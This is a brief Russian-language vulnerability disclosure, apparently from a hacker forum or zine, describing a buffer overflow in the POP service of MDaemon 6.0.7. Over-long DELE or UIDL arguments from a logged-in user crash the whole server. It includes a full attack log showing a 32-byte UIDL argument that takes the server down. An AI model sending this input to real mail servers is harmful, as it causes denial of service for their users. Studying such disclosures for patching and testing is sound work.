DoS против MDaemon SMTP/POP/IMAP server

Уязвимость найдена в POP-сервисе, а точнее в обработке им команд DELE и UIDL. Чрезмерная длина аргумента, переданного вместе с командой, приводит к переполнению буфера и аварийному завершению работы всего сервера. К сожалению, обе эти команды доступны лишь авторизовавшимся пользователям, то есть, чтобы убить сервер, вам нужно, по меньшей мере, иметь почтовый ящик на нём.

Эксперементы показали, что параметр должен иметь длину не менее 32-ух (!!!) байт. Вот лог атаки на локальный pop-сервер:

+OK dark.ru POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7 
USER D4rkGr3y
+OK D4rkGr3y... Recipient ok
PASS cool-pass
+OK D4rkGr3y@dark.ru's mailbox has 1 total messages (18356 octets).
UIDL 11111111111111111111111111111111

Connection to host lost...